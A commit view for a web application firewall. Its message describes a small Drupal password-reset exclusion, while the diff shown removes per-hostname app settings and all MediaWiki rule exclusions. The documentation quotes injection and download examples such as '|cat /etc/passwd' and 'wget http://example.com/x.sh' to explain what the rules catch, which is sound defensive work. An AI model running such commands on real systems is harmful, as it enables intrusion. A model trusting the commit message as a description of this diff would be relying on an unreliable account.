Author SHA1 Message Date
sneak e2b47cd6e7 Core Rule Set: Drupal's JSON password reset passes (closes #259)
check / check (push) Successful in 4m41s
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-09 22:37:14 +00:00
21 changed files with 292 additions and 2449 deletions

No files matched your search

+13 -19
View File
@@ -280,7 +280,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mediawiki` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -582,24 +581,19 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in ten ways so that ordinary requests
requests to a code forge through, such as git over HTTP and sign-in through get through to a code forge, to WordPress and to Drupal. They include git over
Git Credential Manager. No setting undoes the changes; "Attack detection" in HTTP and sign-in through Git Credential Manager on a code forge, and saving a
[`SPEC.md`](SPEC.md) lists them. post from the block editor on WordPress. On gitea's own paths, its searches,
- Each supported app also has its own fixes, which let its ordinary requests file names and branch names get through too. On WordPress's own paths, its
through. Its recorded ordinary requests pass the Core Rule Set at the default searches, names and file names do. On Drupal's own paths, the page to return
settings. The supported apps, by their names in `SWW_APPS`, are: to, its searches and its names get through too. No setting undoes the changes;
- `gitea`, whose fixes let its searches, file names and branch names "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
through; - These apps work out of the box at the default settings, and their recorded
- `wordpress`, whose fixes let through its searches, its names, its file ordinary requests pass the Core Rule Set:
names and a post saved from the block editor; - gitea;
- `drupal`, whose fixes let through the page to return to, its searches and - WordPress;
its names; - Drupal.
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes, and a hostname it does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
+113 -213
View File
@@ -81,8 +81,8 @@ to them.
of bans is full. of bans is full.
- `internal/rules`: reads the rule files at start and again when they - `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches. change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the six changes and the - `internal/coreruleset`: the Core Rule Set, with the ten changes listed
apps' fixes listed under "Attack detection", as Coraza directives. under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup - `internal/lookup`: looks clients up through GeoJS or in the lookup
database. database.
- `internal/reputation`: fetches the lists, asks the DNS blocklists and - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions; the apps' fixes below hold gitea's, holds an app's own exclusions; the eighth, ninth and tenth changes below hold
WordPress's, Drupal's and MediaWiki's. gitea's, WordPress's and Drupal's.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and - `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own before the Core Rule Set's rules. The Core Rule Set loads its own
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,9 +723,9 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute. clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of `smallwebwaf` changes the Core Rule Set 4.25.0 in ten ways, since in front of
gitea it would otherwise refuse ordinary requests. The changes hold in front of gitea, WordPress and Drupal it would otherwise refuse ordinary requests. The
every app, and no setting undoes them: changes hold in front of every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them. and `OPTIONS`. APIs, container image pushes and package uploads use them.
@@ -742,52 +742,8 @@ every app, and no setting undoes them:
and tea, which gitea registers for OAuth sign-in, ask to be sent back to and tea, which gitea registers for OAuth sign-in, ask to be sent back to
`http://127.0.0.1` on the user's own machine. The server never fetches that `http://127.0.0.1` on the user's own machine. The server never fetches that
address. address.
4. `Referer` is not checked for a Unix command given without arguments (932340), 4. Ten query parameters are not checked against the Core Rule Set's lists of
for Java starting a process (944110) or for a Java class name (944130). system files (930120), shell paths (932160) and command names (932260):
`Referer` names the page a request comes from, on everything that page loads
and on every link followed from it. The Core Rule Set takes some page
addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the other
rules, except after some gitea searches (gitea's fixes). An app that passes
`Referer` to a shell must check it itself.
5. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
6. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
Each supported app also has its own fixes, which let its ordinary requests
through. `SWW_APPS` says which hostnames get which app's fixes:
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
then one or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The request's `Host` is matched by exact name, without its port and without
regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in full.
Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
the check of any other app that serves the same paths or fields.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`. Each
app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and one
entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
1. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260), on
any path:
- `path`, `files`, `skip-to` and `sub_path`; - `path`, `files`, `skip-to` and `sub_path`;
- `ref`, `sha`, `branch` and `workflow`; - `ref`, `sha`, `branch` and `workflow`;
- `artifactName` and `redirect_to`. - `artifactName` and `redirect_to`.
@@ -800,19 +756,42 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
catch reaches the app, such as the command `|cat /etc/passwd`. Path catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules, except on the still refused there. Other parameters keep all three rules, except on the
paths named in gitea's third fix, in WordPress's fixes, in Drupal's fixes gitea, WordPress and Drupal paths the eighth, ninth and tenth changes name.
and in MediaWiki's fixes. An app that uses one of these parameters as a file on the server, or passes
it to a shell, must check the value itself. A rule file can refuse it
instead.
2. The Core Rule Set reads the request without the `gitea_flash` and 5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies. gitea puts a message naming what was just done into `redirect_to` cookies. gitea puts a message naming what was just done into
`gitea_flash`. It puts into `redirect_to` the page to return to after signing `gitea_flash`. It puts into `redirect_to` the page to return to after
in. The Core Rule Set takes file names in them, such as `package.json`, for signing in. The Core Rule Set takes file names in them, such as
attacks. A browser sends such a cookie with every request until gitea `package.json`, for attacks. A browser sends such a cookie with every
replaces it. gitea cannot replace it while those requests are refused, so one request until gitea replaces it. gitea cannot replace it while those
refusal would keep the browser out of the whole site. gitea shows the message requests are refused, so one refusal would keep the browser out of the
with any script removed and returns only to its own pages. Every other cookie whole site. gitea shows the message with any script removed and returns
is read in full. only to its own pages. Every other cookie is read in full. An app that
3. On gitea's paths, some fields skip the rules that refused ordinary gitea reads a cookie of either name must check it itself.
- `Referer` is not checked for a Unix command given without arguments
(932340), for Java starting a process (944110) or for a Java class name
(944130). `Referer` names the page a request comes from, on everything
that page loads and on every link followed from it. The Core Rule Set
takes some page addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the
other rules, except after some gitea searches (the eighth change). An
app that passes `Referer` to a shell must check it itself.
6. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
7. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
requests there. They are the fields where gitea sends a search, a file name requests there. They are the fields where gitea sends a search, a file name
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
request it refused. The fields are: request it refused. The fields are:
@@ -830,7 +809,8 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- packages. - packages.
A user's or an organisation's page is any path of one segment, so on A user's or an organisation's page is any path of one segment, so on
every such path `q` skips these three rules, for example on `/search`. every such path, on any app, `q` skips these three rules, for example on
`/search`.
Some of these searches also skip the rule for Java class names (944130), Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`. which refused `org.apache.commons.logging`.
@@ -868,41 +848,43 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
`actions/upload-artifact@v3` (920450). `actions/upload-artifact@v3` (920450).
Elsewhere these fields keep every rule. The paths are those of gitea at the Elsewhere these fields keep every rule. The paths are those of gitea at the
site root. site root. An app other than gitea that serves one of them must check these
fields itself.
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
each rule and the request it refused. The REST API has four addresses:
9. On WordPress's paths, some fields skip the rules that refused ordinary
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
rule and the request it refused. The REST API has four addresses:
- `/wp-json/...` - `/wp-json/...`
- `/index.php/wp-json/...` - `/index.php/wp-json/...`
- `/index.php?rest_route=/...` - `/index.php?rest_route=/...`
- `/?rest_route=/...` - `/?rest_route=/...`
The fields are: The fields are:
- The header `X-HTTP-Method-Override` on any address of the REST API
- The header `X-HTTP-Method-Override` on any address of the REST API (920450). (920450). The block editor saves a post with `POST` and names `PUT` in
The block editor saves a post with `POST` and names `PUT` in this header. this header.
- Three groups of fields skip the rules on system files and commands (930120, - Three groups of fields skip the rules on system files and commands
932120, 932250, 932260). The fields hold searches, names and addresses of (930120, 932120, 932250, 932260). The fields hold searches, names and
WordPress's own pages, and any of them can hold any word. The groups are: addresses of WordPress's own pages, and any of them can hold any word. The
groups are:
- On all of `/wp-admin/` and on `/wp-login.php`: - On all of `/wp-admin/` and on `/wp-login.php`:
- the searches `s`, `search`, `q` and `term`; - the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
`stylesheet`; and `stylesheet`;
- the name of a plugin's settings page in `page`; - the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and - the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
`_wp_http_referer`. and `_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route - On every REST API route under `/wp/v2/` and on the route
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`. - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
`tag`.
The addresses of the first group also skip the rule on Unix commands The addresses of the first group also skip the rule on Unix commands
(932235), because an address repeats the search it came from. The other (932235), because an address repeats the search it came from. The other
fields of the groups keep that rule. fields of the groups keep that rule.
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of - On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
PowerShell commands and command names (932120, 932260): of PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor; - the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`. - the name of a plugin to install in `slug`.
@@ -910,40 +892,42 @@ The fields are:
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and - `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an address (930120, 932120). The block editor's link previews and embeds send an
in this field. address in this field.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
arguments (932340). The media list's own address ends in `&ps`. without arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
the lists of system files, shell paths, command names and JavaScript names for the lists of system files, shell paths, command names and JavaScript
(930120, 932120, 932160, 932260, 941180). names (930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of - These fields of a body. Each applies only when the query has no parameter
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved through - `content` of a post, a page, a template or a template part saved
the REST API. It holds HTML and any code it shows. through the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`. - `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor, which - `newcontent` of a plugin's or a theme's file saved from its editor,
is PHP. which is PHP.
- `pwd` when signing in, for the list of system files (930120). - `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route - `title`, `excerpt` and `name` in a JSON body sent to any REST API
under `/wp/v2/`, for the rules on system files and commands (930120, route under `/wp/v2/`, for the rules on system files and commands
932120, 932250, 932260). (930120, 932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
lists of PowerShell commands and command names (932120, 932260). the lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for - `url` on `/wp-comments-post.php`, the address of a commenter's site,
the lists of system files and PowerShell commands (930120, 932120). for the lists of system files and PowerShell commands (930120,
932120).
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at Elsewhere this change does not apply. The paths are those of WordPress at
the site root. the site root. An app other than WordPress that serves one of them must
check these fields itself.
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused 10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each requests there. `internal/coreruleset/drupal.conf` lists each rule and the
rule and the request it refused. These query fields skip the lists of system request it refused. These query fields skip the lists of system files and
files and command names (930120, 932120, 932250, 932260): command names (930120, 932120, 932250, 932260):
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`, `filemime`, `info`, `subject`, `author_name`, `search`, `q` and
`info`, `subject`, `author_name`, `search`, `q` and `destination`. `destination`.
- `destination` on the pages Drupal links to with one, such as these: - `destination` on the pages Drupal links to with one, such as these:
- `/node/1/edit`; - `/node/1/edit`;
- `/user/login`; - `/user/login`;
@@ -956,16 +940,16 @@ files and command names (930120, 932120, 932250, 932260):
- `/ckeditor5/{editor}/entity-link-suggestions`; - `/ckeditor5/{editor}/entity-link-suggestions`;
- `/block-category/autocomplete`. - `/block-category/autocomplete`.
- Every `filter[...]` field on `/jsonapi/`. - Every `filter[...]` field on `/jsonapi/`.
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query - `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
or a body. query or a body.
`destination` also skips 932230 and 932235, because it holds the address of a `destination` also skips 932230 and 932235, because it holds the address of
page of results. `url` on `/media/oembed`, the address of a video, skips only a page of results. `url` on `/media/oembed`, the address of a video, skips
930120 and 932120. only 930120 and 932120.
These fields of a body skip the rules that refused them: These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260: 932260:
- the title; - the title;
- the summary; - the summary;
- the tags; - the tags;
@@ -988,110 +972,26 @@ These fields of a body skip the rules that refused them:
- `description.value`. - `description.value`.
- The title saved through Drupal's JSON format on `/node/{id}`, for the same - The title saved through Drupal's JSON format on `/node/{id}`, for the same
four rules. four rules.
- The body and comment body on the node and comment forms and through JSON:API, - The body and comment body on the node and comment forms and through
which hold HTML and any code it shows. JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on - `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules. `/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only. - `name` when signing up, editing an account and commenting without an
- `name` when signing up, editing an account and commenting without an account, account, for the same four rules.
for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only. - `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name. when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any site root, with or without a language prefix such as `/fr`. Such a prefix is
first path segment of two or three lowercase letters, optionally followed by a any first path segment of two or three lowercase letters, optionally
hyphen and more letters, so `/api` counts too. followed by a hyphen and more letters, so `/api` counts too. An app other
than Drupal that serves one of them must check these fields itself.
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused The parameter and cookie names in these changes are matched without regard to
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists case, as Coraza matches them.
each rule and the request it refused. These fields skip the lists of system
files and command names (930120, 932120, 932250, 932260), in the query or the
body:
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
and `/wiki/`:
- the searches `search` and `ilsearch`;
- the titles `title`, `page` and `target`;
- `from`, `to` and `prefix`, which limit a list of pages;
- the user names `user`, `username` and `wpTarget`;
- the file names `filename` and `wpDestFile`;
- `returnto` and `returntoquery`, the page and query to go back to after
signing in.
- On `/api.php`:
- the searches `search`, `srsearch` and `pssearch`;
- the titles `titles`, `title`, `page` and `bltitle`;
- `from` and `to`, the titles of a page being moved;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
`aufrom` and `auprefix`;
- `letitle`, the page whose log is listed;
- `euquery`, an address;
- the fields a generator sends in place of the fields above, each with a `g`
in front:
- `gsrsearch` and `gpssearch`;
- `gapfrom`, `gapto` and `gapprefix`;
- `gaifrom` and `gaiprefix`;
- `gbltitle`;
- `geuquery`;
- the user names `ucuser`, `bkusers` and `user`;
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
- `q` on `/rest.php/` and the paths under it.
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
styles a page loads.
These fields of a body skip the rules that refused them:
- On MediaWiki's pages, for the same four rules:
- `wpSummary`, the summary of an edit;
- `wpUploadDescription`, the description of an uploaded file;
- `wpName` and `wpPassword`, for signing in;
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
pages:
- `wpReason-other`, for blocking a user;
- `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
command name, such as `Python3 notes`, passes. So does a command alone on a
line, such as `wget http://example.com/x.sh`. A command such as
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a
title holding one of these characters with a title starting with a command
name.
- The wikitext of a page, which holds templates, tables and any code it shows:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
file whose extension it does not allow.
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
without short URLs serves its pages under `/index.php/`, as in
`/index.php/Main_Page`, and its sign-in and upload forms post there.
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
site root or under `/w/`.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
itself.
The parameter names in these changes and fixes are matched without regard to
case, and the cookie names exactly.
### Ban lengths, response and scope ### Ban lengths, response and scope
-18
View File
@@ -255,24 +255,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads, a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form. yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+1 -92
View File
@@ -29,7 +29,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
) )
@@ -236,11 +235,6 @@ type Config struct {
WAFExemptPaths []string WAFExemptPaths []string
WAFBodyLimit int64 WAFBodyLimit int64
CoreRuleSetExclusionsFile string CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of // TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?. // attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string TrapPaths []string
@@ -410,11 +404,6 @@ var (
errNotTrapPath = errors.New( errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php", "is not a path starting with / and without a ?, such as /wp-login.php",
) )
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block") errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New( errNotRuleID = errors.New(
@@ -588,7 +577,6 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty // trapPaths reads the setting that is the list of trap paths. It is empty
// by default. // by default.
func (e *environment) trapPaths(name string) []string { func (e *environment) trapPaths(name string) []string {
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil return paths, nil
} }
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
